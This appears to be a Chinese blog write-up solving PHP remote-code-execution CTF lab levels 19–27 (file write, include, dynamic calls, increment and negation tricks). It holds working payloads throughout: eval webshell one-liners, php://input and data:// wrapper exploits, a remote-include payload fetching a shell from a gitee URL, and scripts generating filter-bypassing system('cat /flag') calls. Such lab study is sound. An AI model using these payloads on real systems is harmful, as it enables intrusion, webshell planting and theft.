RCE-labs(下)

RCE-labs(下)

前言

WP

先把探姬佬的WP放上:

https://github.com/ProbiusOfficial/RCE-labs?tab=readme-ov-file

RCE 利用路径(Level 19-21)

Level 19: 文件写入导致的 RCE
Level 20: 文件上传导致的 RCE
Level 21: 文件包含导致的 RCE

PHP 特性利用(Level 22-26)

Level 22-23: 动态调用与自增特性
Level 24: 无参数命令执行
Level 25: 取反绕过技术
Level 26: 无字母数字的代码执行

高级技术(Level 27)

Level 27: 模板注入导致的 RCE

RCE 利用路径(Level 19-21)

Level 19: 文件写入导致的 RCE
Level 20: 文件上传导致的 RCE
Level 21: 文件包含导致的 RCE

level-19

<?php 
/*
# -*- coding: utf-8 -*-
# @Author: 探姬
# @Date:   2024-08-11 14:34
# @Repo:   github.com/ProbiusOfficial/RCE-labs
# @email:  admin@hello-ctf.com
# @link:   hello-ctf.com

--- HelloCTF - RCE靶场 : 文件写入导致的RCE --- 

https://www.php.net/manual/zh/function.file-put-contents.php

参考可以写入的内容:
<?php @eval($_POST['a']); ?>

*/

function helloctf($code){
    $code = "file_put_contents(".$code.");";
    eval($code);
}

isset($_GET['c']) ? helloctf($_GET['c']) : '';

highlight_file(__FILE__);

?>

https://www.php.net/manual/zh/function.file-put-contents.php

不了解的话,可以直接去php官方网站学习该函数

<?php
$file = 'people.txt';
// 打开文件获取已经存在的内容
$current = file_get_contents($file);
// 追加新成员到文件
$current .= "John Smith\n";
// 将内容写回文件
file_put_contents($file, $current);
?>

由于file_put_contents函数完全可控

存在两个利用点:

  1. 任意文件写入
  2. 直接代码执行

任意文件写入

根据函数特点,我们可以写入一句话木马到自定义文件中访问即可

?c='shell.php','<?php+@eval($_POST["cmd"]);?>');//
#进行注释避免报错
?c='shell.php','%3C%3Fphp%20%40eval(%24_POST%5B%22a%22%5D)%3B'
#注意,一定要进行url编码

image-20250429172111180

直接代码执行

通过构造参数闭合原函数调用,并追加任意PHP代码

c='','');echp(`cat /flag`);//

image-20250429171739741

level-20

正常文件上传

image-20250429173000554

level-21

<?php 
/*
# -*- coding: utf-8 -*-
# @Author: 探姬
# @Date:   2024-08-11 14:34
# @Repo:   github.com/ProbiusOfficial/RCE-labs
# @email:  admin@hello-ctf.com
# @link:   hello-ctf.com

--- HelloCTF - RCE靶场 : 文件包含导致的RCE --- 

allow_url_fopen = On
allow_url_include = On
默认全开的环境,可以尝试多种解法,若对此存有疑问,尝试去 github.com/ProbiusOfficial/PHPinclude-labs 了解更多文件包含的知识。

远程文件包含可用链接(<?php @eval($_POST['a']); ?>):
https://raw.githubusercontent.com/ProbiusOfficial/PHPinclude-labs/main/RFI
https://gitee.com/Probius/PHPinclude-labs/raw/main/RFI

FilterChain的Payload生成器:
https://probiusofficial.github.io/PHP-FilterChain-Exploit/
/exp.php

注意:在本关卡中你传递的内容将以字符串的方式拼接在 include() 函数中,你需要区别这与 incluude($_GET['file']) 的区别。
*/

function helloctf($code){
    $code = "include(".$code.");";
    echo "Your includeCode : ".$code;
    eval($code);
}

isset($_POST['c']) ? helloctf($_POST['c']) : '';

highlight_file(__FILE__);

?>

代码分析:

支持远程文件包含(RFI)

支持本地文件包含(LFI)

支持 PHP 伪协议(如 php://input, php://filter)

LFI

直接就能包含文件

c="/flag"

php伪协议

c='php://filter/convert.base64-encode/resource=/flag'
c="data://text/plain,<?php readfile('/flag');"

image-20250429203524549

Input

payload:

c="php://input"&<?php system('cat /flag'); ?>

直接利用HackBar是不能成功的

利用BP

image-20250429201650847

Curl也是可以的

curl -X POST "http://80-14557d8e-0e51-42a1-bee2-1bdc9ee44f58.challenge.ctfplus.cn"  -d "c='php://input'"    --data-binary "<?php echo shell_exec('id'); ?>"

image-20250429200739194

RFI

题目给了远程shell文件,直接包含即可执行

PHP 配置

  • allow_url_fopen = On:允许通过 URL(如 http:// 或 https://)读取远程文件。
  • allow_url_include = On:允许通过 include() 执行远程 PHP 文件的代码。

RFI利用:

  • 通过传参指定远程URL文件,服务器会下载并包含该文件
  • 该文件被执行触发eval函数,进而执行·$_POST['a'] 中的代码,实现RCE

payload:

c="https://gitee.com/Probius/PHPinclude-labs/raw/main/RFI"&a=readfile('/flag');

image-20250429195115620

直接代码执行

同19,闭合即可

c='');echo(`cat /flag`);//

PHP 特性利用(Level 22-26)

Level 22-23: 动态调用与自增特性
Level 24: 无参数命令执行
Level 25: 取反绕过技术
Level 26: 无字母数字的代码执行

level-22

动态调用

<?php 
/*
# -*- coding: utf-8 -*-
# @Author: 探姬
# @Date:   2024-08-11 14:34
# @Repo:   github.com/ProbiusOfficial/RCE-labs
# @email:  admin@hello-ctf.com
# @link:   hello-ctf.com

--- HelloCTF - RCE靶场 : 	PHP 特性 - 动态调用 --- 

PHP 支持在运行时动态构建并且调用函数,在下面的代码中 a可以被作为函数,b可以被作为函数的参数。

try ?a=system&b=ls

*/

isset($_GET['a'])&&isset($_GET['b']) ? $_GET['a']($_GET['b']) : null;

highlight_file(__FILE__);

?>

PHP 支持 变量函数(Variable Functions)语法:
若变量后跟随 (),PHP 会将该变量的值作为函数名执行。例如:

// 写法1:直接变量调用
$a = 'system';
$a('id');      // 执行 system('id')

// 写法2:括号包裹变量
($a)('id');    // 同样执行 system('id')

因此,当代码中存在 $_GET['a']($_GET['b']) 时:

  • $_GET['a'] 的值会被解析为 函数名
  • $_GET['b'] 的值会被解析为 函数的参数
形式 示例
$a($b) system('id')
($a)($b) (exec)('ls')
call_user_func() call_user_func('system', 'id')
对象方法调用 $obj->$method($param)

payload:

?a=system&b=cat /flag

level-23

自增特性

<?php 
error_reporting(0);
/*
# -*- coding: utf-8 -*-
# @Author: 探姬
# @Date:   2024-08-11 14:34
# @Repo:   github.com/ProbiusOfficial/RCE-labs
# @email:  admin@hello-ctf.com
# @link:   hello-ctf.com

--- HelloCTF - RCE靶场 : PHP 特性 - 自增 --- 

可用字符:! $ ' ( ) + , . / ; = [ ] _

自增通过以下几个特性实现:
变量:
在PHP中变量以 $ 开头,后面为变量名称,PHP中变量可以是下划线 _ 开头,所以 $_ 是一个变量,$__ 则是不同的变量,就像 $a 和 $aa 一样。

数组->字符串:
在PHP中,非字符串是不能使用 . 符号进行拼接的,当你强制拼接时 PHP 会将非字符串转换为字符串:
$_ = 1; var_dump($_); var_dump($_.'');
这将会输出:int(1) string(1) "1"
但如果 $_ 是一个数组,则会被强制转换为字符串 Array 而无视数组内容。
所以 [].'' 表示在空数组后面拼接空字符串,PHP会优先转换类型,从而将数组转换为字符串 Array。

字符串:
字符串本质上是一个字符的有序序列,同C语言类似,你可以直接通过索引(或者说下标)的方式直接访问字符串中的字符。
$_ = "Hello-CTF";var_dump($_[0]);
这将会输出 string(1) "H"
所以在 $_ = ([].'')[0]; var_dump($_); 你会得到输出:string(1) "A"

自增:
这是一个编程语言中很常见的操作,我们一般在for循环会写到的语句 i++ 或者 ++i,这是一个自增操作,PHP也一样,只不过我们的变量名称不是很常见与之等效的 $_++ 或者 ++$_。
当我们对一个字符或者是字母进行自增操作时,PHP会将其转换为ASCII码,然后自增,然后再转换为字符。直观一点 A++ 将会输出 B,Z++ 将会输出 AA。++的位置决定语句的执行顺序,++在前面时会先进行自增操作。 $_ = ([].'')[0]; 在前面时输出B,后面时输出A。

所以通过特性的连用,你可以看到很多自增的Payload长这样:
payload=$_=(_/_._)[''=='_'];$_++;$__ = $_++;$__ = $_.$__;$_++;$_++;$_++;$__ = $__.$_++.$_++;$_ = $__;$__ ='_';$__.=$_;$$__[__]($$__[_]); 
&__=system 
&_=ls

自增题目的考点通常在Payload的长度限制,挑战关卡,让你的Payload足够短吧。
*/

highlight_file(__FILE__);

isset($_POST['code']) ? $code = $_POST['code'] : $code = null;

if(preg_match("/[a-zA-Z0-9@#%^&*:{}\-<\?>\"|`~\\\\]/", $code)){
    die("WAF!");
}else{
    echo "Your Payload's Length : ".strlen($code)."<br>";
    eval($code);
}

?>
Your Payload's Length : 0

自增特性讲的非常好,直接上吧

用题目给的payload,进行url编码才能成功执行

不知道为啥

image-20250504214006679

还有一个正则检测代码,cp到本地!!!真不错

image-20250504213852604

level-24

无参数命令执行

https://www.cnblogs.com/pursue-security/p/15406272.html#_label1

https://a1andns.github.io/post/无参数函数RCE


上边两位师傅无参RCE写的都很好

<?php 
include ("get_flag.php");
/*
# -*- coding: utf-8 -*-
# @Author: 探姬
# @Date:   2024-08-11 14:34
# @Repo:   github.com/ProbiusOfficial/RCE-labs
# @email:  admin@hello-ctf.com
# @link:   hello-ctf.com

--- HelloCTF - RCE靶场 : PHP 特性 - 无参命令执行 --- 

根据正则表达式的匹配规则,可以看到我们只能输入A(),这样的形式,括号中无法携带参数,但支持多个函数嵌套A(B(C())),这种形式我们称其为无参命令执行。
无参命令执行的难度首先是在于无参本身,这需要你利用一些函数特性外带参数绕过限制 —— 这可以从一些获取外部值的函数实现:
getallheaders()
session_id()
...
其次是对嵌套参数的处理 —— 当然不局限于外带进来的参数,一些诸如 localeconv() 的函数可以获取内部存在的一些参数如当前目录下面的文件信息等:
getchwd() :函数返回当前工作目录。
scandir() :函数返回指定目录中的文件和目录的数组。
dirname() :函数返回路径中的目录部分。
chdir() :函数改变当前的目录。

通常我们获取到的很多情况下是数组,所以有时候比较依赖对数组的操作,比如:
- array_reverse():数组反转
- pos():输出数组第一个元素
- next():指向数组的下一个元素,并输出
...

随后是一些文件读取显示的操作:
- show_source() - 对文件进行语法高亮显示。
- readfile() - 输出一个文件。
- highlight_file() - 对文件进行语法高亮显示。
- file_get_contents() - 把整个文件读入一个字符串中。
- readgzfile() - 可用于读取非 gzip 格式的文件

...你随时可以通过查阅PHP官方手册中函数相关的部分来找到上面类似的内容。
*/

function hello_code($code){
    if(';' === preg_replace('/[^\W]+\((?R)?\)/', '', $code)){
        eval($code);
    }else{
        die("O.o");
    }
    
}

isset($_GET['code']) ? hello_code($_GET['code']) : null;

highlight_file(__FILE__);

?>

将无参命令执行相关内容概括成表格形式:

功能分类 函数名称 功能描述
获取外部值 getallheaders() 获取所有 HTTP 请求头信息
session_id() 获取当前会话 ID
获取内部参数 localeconv() 获取当前区域设置的格式信息
getcwd() 返回当前工作目录
scandir() 返回指定目录中的文件和目录数组
dirname() 返回路径中的目录部分
chdir() 更改当前工作目录
数组操作 array_reverse() 反转数组
pos() 输出数组的第一个元素
next() 指向数组的下一个元素并输出
文件读取与显示 show_source() 对文件进行语法高亮显示
readfile() 输出文件内容
highlight_file() 对文件进行语法高亮显示
file_get_contents() 将整个文件读入字符串
readgzfile() 读取文件(支持非 gzip 格式)

说明

  1. 无参命令执行的核心在于利用函数特性绕过无参限制,通过获取外部值或内部参数实现功能。
  2. 数组操作函数常用于处理获取到的数组数据。
  3. 文件操作函数用于读取或显示目标文件内容,常用于信息泄露或代码分析场景。
var_dump(scandir(current(localeconv())));
#array(6) { [0]=> string(1) "." [1]=> string(2) ".." [2]=> string(8) "flag.php" [3]=> string(12) "get_flag.php" [4]=> string(9) "index.php" [5]=> string(7) "uploads" } 

show_source(array_rand(array_flip(scandir(current(localeconv())))));

随机读取:

array_flip确保 array_rand() 返回文件名(键),而不是索引(值)。

array_rand:避免直接索引(如 scandir()[2]),随机选择文件名(键)。

颠倒键与值后,随机读取键(文件名)

image-20250505203456202

level-25

取反绕过技术

<?php 
/*
# -*- coding: utf-8 -*-
# @Author: 探姬
# @Date:   2024-08-11 14:34
# @Repo:   github.com/ProbiusOfficial/RCE-labs
# @email:  admin@hello-ctf.com
# @link:   hello-ctf.com

--- HelloCTF - RCE靶场 : PHP 特性 - 取反绕过 --- 

注*:推荐先完成 无参命令注入部分题目 后再来尝试这一题。

取反题目实际上就是无参命令执行的一个变种,我们可以通过取反的方式来绕过正则表达式的匹配规则,已经有成熟的脚本就不多做说明了。

脚本仓库:https://github.com/ProbiusOfficial/PHP-inversion
https://probiusofficial.github.io/PHP-inversion/
题目提供一个在线的页面脚本来辅助你完成该题目:/exp.html

*/

function hello_code($code){
    if(preg_match("/[A-Za-z0-9]+/", $code)){
        die("WAF!");
    }
    eval($code);
}

isset($_GET['code']) ? hello_code($_GET['code']) : null;

highlight_file(__FILE__);

?>

给了个在线脚本网站

https://probiusofficial.github.io/PHP-inversion/

level-26

无字母数字的代码执行

<?php 
/*
# -*- coding: utf-8 -*-
# @Author: 探姬
# @Date:   2024-08-11 14:34
# @Repo:   github.com/ProbiusOfficial/RCE-labs
# @email:  admin@hello-ctf.com
# @link:   hello-ctf.com

--- HelloCTF - RCE靶场 : PHP 特性 - 无字母数字的代码执行 --- 

参考和依据的文章:https://xz.aliyun.com/t/8107

*/

highlight_file(__FILE__);

isset($_POST['code']) ? $code = $_POST['code'] : $code = null;

if(preg_match("/[a-z0-9]/is", $code)){
    die("WAF!");
}else{
    echo "Your Payload's Length : ".strlen($code)."<br>";
    eval($code);
}

?>

下边是取反和亦或的脚本

大佬wp说还有两种方法:(1)自增自减(2)通配符

这里就不粘了,下边两种就够了

注意,Hackbar中不行,要在Bp中发送才行

//取反脚本
<?php
function negateRce($system, $command) {
    $encoded_system = '';
    $encoded_command = '';
    
    // 对函数名取反并编码
    for ($i = 0; $i < strlen($system); $i++) {
        $not_char = ~$system[$i];
        $encoded_system .= '%' . bin2hex($not_char);
    }
    
    // 对命令取反并编码
    for ($i = 0; $i < strlen($command); $i++) {
        $not_char = ~$command[$i];
        $encoded_command .= '%' . bin2hex($not_char);
    }
    
    // 输出 payload
    echo '[*] (~' . $encoded_system . ')(~' . $encoded_command . ');' . PHP_EOL;
}

// 示例:生成 system('whoami') 的 payload
negateRce('system', 'cat /flag');
?>
#(~%8c%86%8c%8b%9a%92)(~%9c%9e%8b%df%d0%99%93%9e%98);
    
//异或脚本
<?php
function encodeNegate($str) {
    $result = [];
    foreach (str_split($str) as $char) {
        $result[] = '%' . sprintf("%02x", (~ord($char)) & 0xff);
    }
    return '"' . implode('', $result) . '"';
}

// 自定义函数和命令
$func = 'system'; // 修改为需要的函数,如 include, file_get_contents
$cmd = 'cat /flag'; // 修改为需要的命令,如 ls, cat flag.php

$payload = "\$_=~" . encodeNegate($func) . ";\$__=~" . encodeNegate($cmd) . ";\$_(\$__);";
echo $payload . "\n";
?>
    #$_=~"%8c%86%8c%8b%9a%92";$__=~"%9c%9e%8b%df%d0%99%93%9e%98";$_($__);

高级技术(Level 27)

level-27

HelloCTF - RCE靶场 : PHP - 模板注入导致的RCE

@Author: 探姬
@Date: 2024-08-18 14:34
@Repo: github.com/ProbiusOfficial/RCE-labs
@Email:admin@hello-ctf.com
@Link: https://hello-ctf.com
@ModifiedFrom:idekCTF2024 - Untitled-smarty-challenge

We're using Smarty 5, with open_basedir, AND don't even pass user input directly into a template, surely this isn't insecure. Oh wait...

The Source:

require 'vendor/autoload.php';
use Smarty\Smarty;
$smarty = new Smarty();

if (isset($_GET['page']) && gettype($_GET['page']) === 'string') {
    $file_path = "file://" . getcwd() . "/pages/" . $_GET['page'];
    $smarty->display($file_path);
} else {
    header('Location: /?page=home');
};
    

最后一题就算了,模版注入还不太会,去刷其他靶场了

posted @ 2025-05-06 16:36  F0T0ne  阅读(293)  评论(0)    收藏  举报